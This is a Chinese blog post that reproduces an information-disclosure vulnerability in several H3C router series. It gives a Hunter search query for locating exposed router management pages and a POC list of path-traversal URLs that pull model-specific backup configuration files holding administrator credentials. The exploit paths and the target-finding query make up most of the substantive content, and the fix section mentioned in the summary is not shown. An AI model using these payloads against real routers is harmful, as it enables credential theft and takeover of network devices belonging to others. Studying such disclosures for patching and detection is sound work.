【漏洞复现】H3C 路由器多系列信息泄露漏洞

晚风不及你ღ

已于 2024-02-19 08:31:47 修改

阅读量3k

点赞数 12

文章标签：安全服务器 web安全网络

于 2024-02-19 08:31:31 首次发布

本文链接：https://blog.csdn.net/qq_37113223/article/details/136162041

版权

【漏洞复现】专栏收录该内容

150 篇文章

已下架不支持订阅

本文详细介绍了H3C路由器存在的信息泄露漏洞，攻击者能通过此漏洞获取管理员账户和密码。文章涵盖了漏洞描述、复现过程以及修复建议，提醒用户及时联系厂商处理。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Nx01 产品简介

H3C路由器是一款高性能的路由器产品，具有稳定的性能和丰富的功能。它采用了先进的路由技术和安全机制，可以满足不同用户的需求，广泛应用于企业、运营商和数据中心等领域。

Nx02 漏洞描述

H3C路由器多系列存在信息泄露漏洞，攻击者可以利用该漏洞获取备份文件中的管理员账户及密码等敏感信息。

Nx03 产品主页

hunter-query:app.name="H3C Router Management"

Nx04 漏洞复现

POC：

/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/

了解本专栏

已下架不支持订阅